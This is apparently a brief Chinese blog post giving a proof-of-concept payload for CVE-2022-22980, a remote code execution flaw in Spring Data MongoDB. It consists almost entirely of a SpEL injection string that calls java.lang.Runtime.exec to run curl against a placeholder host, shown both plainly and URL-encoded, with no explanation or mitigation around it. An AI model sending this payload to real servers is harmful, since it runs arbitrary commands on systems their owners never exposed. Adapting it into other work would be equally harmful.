spring data mongodb remote code execution | cve-2022-22980 poc

spring data mongodb remote code execution | cve-2022-22980 poc

 

 

# 原payload
# T(java.lang.Runtime).getRuntime().exec("curl http://xxx/success") URLencode Payload:
%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%78%78%78%2f%73%75%63%63%65%73%73%22%29

 

posted @   我超怕的  阅读(251)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· DeepSeek “源神”启动!「GitHub 热点速览」
· 我与微信审核的“相爱相杀”看个人小程序副业
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 如何使用 Uni-app 实现视频聊天(源码,支持安卓、iOS)
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
点击右上角即可分享
微信分享提示